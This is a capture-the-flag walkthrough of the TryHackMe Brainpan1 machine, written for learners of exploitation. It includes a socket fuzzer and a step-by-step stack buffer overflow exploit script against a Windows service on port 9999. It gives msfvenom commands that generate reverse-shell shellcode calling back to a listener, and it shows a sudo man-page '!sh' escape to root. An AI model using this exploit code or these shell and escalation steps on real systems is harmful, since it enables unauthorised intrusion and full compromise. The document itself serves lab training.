Brainpan1 from TryHackMe

Brainpan1 is a hard machine from TryHackMe. The difficulty rating is due to the exploit path involving buffer overflows.

by Johann Van Niekerk

Brainpan1 from TryHackMe

Share


Nmap Scan

PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)

Brainpan1 is a hard machine from TryHackMe. The difficulty rating is due to the exploit path involving buffer overflows. If you have experience with buffer overflows then this would be a simple challenge as it is fairly straight forward. If you haven't dealt with buffer overflows before then it may require some additional reading and videos on understanding what it all entails.

This machine is great practice for beginner courses such as OSCP that is widely known that the exam may contain a buffer overflow challenge.

The privilege escalation is great as well because the path is not found by visiting GTFOBins and then getting root. This one requires you to execute the program and pay attention to what it is doing then figuring out what you can do from there.

Initial Access - Buffer Overflow

Our initial enumeration appears to reveal that there is a python SimpleHTTPServer running on port 10000. We can navigate to this server through our browser and we discover the following

Have have a look and it appears to be just one-large-infograph. There isn't much information on the site. Our next step is to find any hidden directories or files. We run feroxbuster with the following modifiers.

feroxbuster -u http://10.10.128.255:10000/ -w /usr/share/seclists/discover/web-content/big.txt -B -n

Our tool has found an interesting endpoint /bin/.

directory

Visiting this URL reveals that it is hosting a brainpan.exe executable. We proceed to download the file in order to investigate it further.

brainpan

We decide to look a little closer into the file and seeing what it tries to do without actually running it. So we use strings to find any text strings within the files binary code. From this, it appears to run some sort of interface that perhaps requires a password however the biggest part is that it utilises winsock and creates a socket.

This hints that this runs as a connectable service. If we recall we have another service running on port 9999.

strings brainpan.exe
strings

When we investigate this, it appears that this program is running on the target machine and listening for connections.

nc -nv 10.10.128.255 9999
port 9999

We take the executable and move it over to a development machine running Windows so that we can test the executable and also debug it.

When running the executable, we can confirm our suspicions that it starts up a server on port 9999 and waits for inbound connections.

initialised

We are looking at a potential buffer overflow exploit path. So first we will proceed with finding out how many bytes or characters does it take before the application stops functioning.

Fuzzer Code: Finding the break point and note that this is python2 code and requires to be executed with python2.

import socket
import time
import sys

ip = "x.x.x.x" # change this
port = 9999  # change this
timeout = 5

buffer = []
counter = 100
while len(buffer) < 30:
    buffer.append("A" * counter)
    counter += 100

for string in buffer:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        connect = s.connect((ip, port))
        print("Fuzzing with %s bytes" % len(string))
        s.send(string + "\r\n")
        data = s.recv(1024)
        s.close()
    except:
        print("Could not connect to " + ip + ":" + str(port))
        sys.exit(0)
    time.sleep(1)

We adjust our code for our target IP (our own development machine) and the port. We load up Immunity Debugger and attach the brainpan.exe for debugging. Then we launch our fuzzer to see where it breaks.

fuzzer

We can see that after sending 700 bytes, we can no longer connect. When looking at our development machine, we notice that we received the bytes and then the program ended up paused within. This is indicative within Immunity Debugger that the application stopped functioning/crashed.

crashed

We can also see within Immunity Debugger that our payload of bytes or "A's" has overwritten important parts of the program and overflowed.

buffer

Our next step is seeing if we can control EIP. The EIP is the instruction pointer that points to the next bit of code that the program needs to execute. If we can control the pointer then we can point it to our own malicious code that we inject similar to how we injected all those "A's". In this case, the hexcode 41414141 represents "AAAA" (4 A's)

Next we create cyclical characters that do not repeat themselves and find out where those unique character-sets are when overwriting the EIP.

# Create pattern based on crash point (Can also add a couple of hundred more on top as a buffer)
msf-pattern_create -l 700
pattern

This time we send the payload with the following code

import socket

ip = "192.168.88.143" # Change IP to VICTIM ip
port = 9999

prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5A...truncated due to length"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")
exploit

Again the program crashes however this time, we can see the cyclical characters within the buffer and we have a unique value where the program crashed

crashed

This pattern represents some 4-letter cyclical set that we can find with the following command

msf-pattern_offset -l 700 -q 35724134

This tells us that this pattern that takes over the EIP is at exactly 524 characters within the 700-character payload. This is known as the "offset" and crucial for being able to direct the program to our malicious content.

offset

We can test and show that we have control by including 4 "B's" at exactly that offset and it will show up in the EIP when it crashes. the letter capital B is represented by the number 42.

# Code Adjusted 
prefix = ""
offset = 524
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = "CCCCC"
postfix = ""

Don't worry about the variable names for now. The code is simply going in execution order of sending 524 x A's then it sends 4 x B's then 5 x C's. This allows you to visually see below how this is filling the buffer with A's, then the EIP, then the C's indicating that the offset we have is 100% correct.

control eip

With this control, we can look at finding a place to put our malicious code and then point towards that code to be executed.

First we need to see what characters (alphabet or special) is going to cause the program and our code not to work. This is referred to as bad characters or badchars.

If we can find the badchars and specifically not use those badchars within our exploit code then we won't have any issues with it being executable.

We use the following code to generate a list of all possible characters in their proper form.

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

# Execute
python3 code.py

We will now update our payload with this list of bad characters and then we can inspect the bad characters through Immunity Debugger and see which values are breaking the program flow.

# Code Adjusted
prefix = ""
offset = 524
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = "\x01\x02\x03\x04\x05\x06\x07\..... truncated due to length"
postfix = ""

Here you can see how the code went, after our A's then 4x B's, you can see the payload within the hex dump. In order to see this view we right clicked the ESP pointer and follow in dump to see these addresses and content.

badchars

We start inspecting the Hex Dump starting after our 4 B's "42 42 42 42" and then visually inspecting for any breaks in the code or flow.

We start with paying attention to each entry in the hex dump and ensure it follows the flow from \x01 to \xFF

01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F

Then it repeats as it increases in value 10, 11, 12, ..1A, 1B... 30, 31, ... 3A, 3B and so forth all the way to FF

Any breaks in the flow means we found a bad character that cause issues with our code execution. So we need to remove that bad character from our payload and then repeat out exploit again to follow in dump and review the flow once again.

For example say you found 0D is a bad character: you would update your payload by removing \x0D from the code, then refresh and exploit the brainpan.exe again with the new code (not containing your bad character)

You would do this for each bad character you found.

In this context, there was no bad chars found other than 0x00 that is automatically removed with our python code when we generated it. 0x00 is always a bad character and the rest you need to find per program.

Our next step is to use our bad character knowledge to find a place within the code known as a JMP address that will be the location we will be placing our payload.

For this we use the mona.py module that is a third-party module that needs to be included with the Immunity Debugger base modules. We run the following command and ensure a couple of things. We need a pointer with no bad chars and we need to ensure there is no protections in place like ASLR.

# Immunity Debugger command
!mona jmp -r esp -cpb "\x00"
jmp address

We find 1 point that contains no 0x00 bad characters and represents a JMP address. As this is in little endian format, we need to reverse the address; for example

# Address
311712f3

# Reversed Format
f3 12 17 31

# Formatting for our exploit - JMP Address
\xf3\x12\x17\x31

Now we can proceed to our testing and exploitation. We will first test and see if we launch a simple executable like the calculator. This will evaluate if our code works before we start dealing with networking and potential issues.

First, we need to know what architecture the program runs as. This is critical because you cannot execute 64bit code within a 32bit process. The following confirms for us that this is a 32bit process.

file brainpan.exe
32bit

Our exploit generated is taking into account that the target is a 32bit program.

msfvenom -p windows/exec CMD='calc.exe' -f c -b "\x00"
exploit generated

Now with our exploit code has been adjusted as follows and our payload is the generated payload enclosed in () brackets

prefix = ""
offset = 524
overflow = "A" * offset
retn = "\xf3\x12\x17\x31"
padding = "\x90" * 16
payload = ("\x48\x31\...truncated due to length")
postfix = ""

You will notice the retn variable contains our reversed JMP address, the payload variable contains our generated code. Finally we also include some no operation characters or "NOPs".

We run the exploit with our new payload and we successfully launch calculator! Our code appears to work.

success

Now to test if we can get a reverse shell to our development machine

msfvenom -p windows/shell_reverse_tcp lhost=192.168.88.144 lport=443 -f c -b "\x00"
shellcode

When we run the exploit code, we succeed in getting a reverse connection with no issues showing up!

shell

Now that we are prepared from our internal testing; we can proceed to targeting the victim machine for the exploitation. We update our code and our payload with the following steps. Note that from our enumeration, while this is a windows executable; the machine running it was a Linux operating system. We adjusted for this:

msfvenom -p linux/x86/shell_reverse_tcp lhost=10.4.42.21 lport=443 -f c -b "\x00"

Our exploit changes as follows:

prefix = ""
offset = 524
overflow = "A" * offset
retn = "\xf3\x12\x17\x31"
padding = "\x90" * 16
payload = ("\xda\xc5\xba\...truncated due to length")
postfix = ""

Next we setup our listener and run the code. A few seconds later and we have our initial access to the victim!

initial

Privilege Escalation - Sudo

Our initial enumeration reveals something interesting for our puck user in that they are allowed to run a specific binary with sudo permissions

sudo

We try running the binary and seeing what it does. The binary appears to accept the following actions. What is interesting is that Manual (Command).

anansi

We run the following to test it out.

sudo /home/anansi/bin/anansi_util manual id

We can see that it launches into the manpages of the command that we have provided.

manpage

If you are familiar, manpages and similar binaries that launch you into an interactive process where you can navigate separate to the bash command line interface; they normally allow the ability to launch commands and break out of the interactive process into a bash command line interface again.

So as we can run this command with sudo; it means this process will run with root privileges and if we breakout (not just back out or quit) then we will land on a root shell.

We launch into the manpages once more and then type the following command

# Launch into Interactive Manpages
sudo /home/anansi/bin/anansi_util manual id

# Type The Following (No special keys or options to be pressed beforehand)
!sh
> hit enter
normal
command

And we have our root shell! With this we have compromised the system fully.

root